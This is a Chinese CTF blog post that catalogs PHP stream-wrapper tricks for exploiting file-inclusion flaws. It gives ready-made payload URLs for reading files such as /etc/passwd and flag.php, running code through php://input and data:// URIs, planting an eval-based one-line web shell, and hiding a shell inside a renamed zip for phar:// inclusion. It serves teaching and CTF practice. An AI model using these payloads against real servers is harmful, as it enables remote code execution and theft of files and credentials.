借鉴php伪协议实现命令执行,任意文件读取_ctf php文件读取-CSDN博客
总结
在ctf中常用的有data:// , php://input , php://filter ,file://
php://input ,data://用来执行命令
1.php://input 的用法
http://127.0.0.1/include.php?file=php://input
POST DATA部分
<?php phpinfo(); ?>
2.data://用法
http://127.0.0.1/include.php?file=data://text/plain,\<?php%20phpinfo();?>
php://filter,file://用来读取文件
3.php://filter用法
http://127.0.0.1/include.php?file=php://filter/resource=/flag
4.file://用法
http://127.0.0.1/include.php?file=file://E:\\phpStudy\\PHPTutorial\\WWW\\phpinfo.txt
file://协议
file://
协议通常用于从本地文件系统读取文件内容
基本原理
file://
协议 :这是用于访问本地文件系统的协议。例如,file:///etc/passwd
会尝试访问Linux系统上的/etc/passwd
文件。
例如http://example.com/include.php?file=file:///etc/passwd
用法
/path/to/file.ext
relative/path/to/file.ext
fileInCwd.ext
C:/path/to/winfile.ext
C:\path\to\winfile.ext
\\smbserver\share\path\to\winfile.ext
file:///path/to/file.ext
示例:
1.file://[文件的绝对路径和文件名]
http://127.0.0.1/include.php?file=file://E:\\phpStudy\\PHPTutorial\\WWW\\phpinfo.txt
2.file://[文件的相对路径和文件名]
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
php://协议
php://
协议是一种非常有用的功能,可以用来读取文件、输入流等。php提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流,标准输入输出流和错误描述符
常见的 php://
协议
php://input
:- 用于读取原始的POST数据。
- 在某些情况下,可以用来绕过一些文件上传的限制。
php://filter
:- 用于读取文件内容并进行过滤(如base64编码、解压缩等)。
- 语法:
php://filter/read=filter.name/resource=file
- 例如:
php://filter/read=convert.base64-encode/resource=flag.php
可以将flag.php
文件的内容以base64编码形式输出。
php://fd
(PHP 7.0.0+):- 用于直接访问文件描述符。
- 通常不常用在CTF中,但了解其存在有助于理解PHP的文件操作。
php://memory
和php://temp
:- 用于在内存或临时文件中读写数据。
- 这些协议通常用于数据处理或流操作,不常用于直接读取文件。

php://filter使用
php://filter/read=convert.base64-encode/resource=[文件名]
php://filter/resource=[文件名]
php://input的使用
http://127.0.0.1/include.php?file=php://input
POST DATA部分
<?php phpinfo(); ?>
执行一句话木马
http://127.0.0.1/include.php?file=php://input
POST DATA部分
<?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
data://协议
data://text/plain, ???
如
http://127.0.0.1/include.php?file=data://text/plain,\<?php%20phpinfo();?>
?page=data://text/plain;base64,PD9waHAgZWNobyBwaHBpbmZvKCk7Pz4=
zip:// & bzip:// & zlib:// 协议
作用:
zip:// & bzip:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可以修改为任意后缀名,如 jpg,png,gif,xxx等
compress.bzip2://file.bz2
压缩phpinfo.txt 为phpinfo.bz2 并上传(同样支持任意后缀名)
http://127.0.0.1/include.php?file=compress.bzip2://E:\\phpStudy\\PHPTutorial\\WWW\\phpinfo.bz2
3.compress.zlib://file.gz
压缩phpinfo.txt 为phpinfo.gz 并上传(支持任意后缀名)
http://127.0.0.1/include.php?file=compress.zlib://E:\\phpStudy\\PHPTutorial\\WWW\\phpinfo.gz
phar://协议
-
php解压缩包的一个函数,不管后缀是什么,都当作压缩包来解压。
-
格式:
?file=phar://压缩包名/内部文件名
例:phar://x.zip/x.php
步骤:写一个一句话木马shell.php,然后用zip协议压缩为shell.zip,
再将后缀改为png等其他格式
